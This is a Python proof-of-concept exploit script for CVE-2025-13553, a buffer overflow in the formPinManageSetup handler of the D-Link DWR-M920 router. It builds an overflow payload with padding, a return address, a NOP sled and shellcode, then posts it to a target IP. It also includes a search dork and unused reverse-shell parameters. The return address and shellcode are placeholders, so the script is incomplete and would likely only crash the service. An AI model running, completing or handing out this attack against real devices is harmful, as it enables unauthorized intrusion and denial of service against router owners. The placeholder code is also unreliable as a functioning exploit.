CVE-2025-13553

#!/usr/bin/env python3 """ CVE-2025-13553 PoC - D-Link DWR-M920 Buffer Overflow Dork: DWR-M920 formPinManageSetup buffer overflow """ import requests import sys import argparse def exploit_dwr_m920(target_ip, target_port=80, lhost=None, lport=4444): """ Exploit buffer overflow in /boafrm/formPinManageSetup target: Target IP address lhost: Attacker IP for reverse shell (optional) lport: Attacker port for reverse shell (optional) """ url = f"http://{target_ip}:{target_port}/boafrm/formPinManageSetup" # Buffer overflow payload construction # Pattern: padding + return address + nop sled + shellcode buffer_size = 1000 # Generate cyclic pattern for offset calculation # In real exploitation, use pattern_create and pattern_offset padding = b'A' * 500 # Return address (needs to be adjusted based on firmware version) # For 1.1.50, use gadgets from libc or firmware binary ret_addr = b'\x42\x42\x42\x42' # Placeholder - needs to point to shellcode # NOP sled for reliability nop_sled = b'\x90' * 100 # Simple execve /bin/sh shellcode for MIPS (little-endian) # This is a placeholder - use msfvenom for actual MIPS shellcode shellcode = b'\x66\x66\x66\x66' # Placeholder shellcode payload = padding + ret_addr + nop_sled + shellcode # Send malicious request data = { 'submit-url': payload.decode('latin-1'), 'submit-button': 'save' } print(f"[*] Sending exploit to {url}") print(f"[*] Payload size: {len(payload)} bytes") try: response = requests.post(url, data=data, timeout=10) print(f"[!] Response status: {response.status_code}") print(f"[!] Target may be vulnerable - check for crash or shell") except requests.exceptions.Timeout: print("[!] Request timed out - likely crashed the service") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-13553 Exploit') parser.add_argument('target', help='Target IP address') parser.add_argument('-p', '--port', default=80, help='Target port (default: 80)') args = parser.parse_args() exploit_dwr_m920(args.target, args.port)

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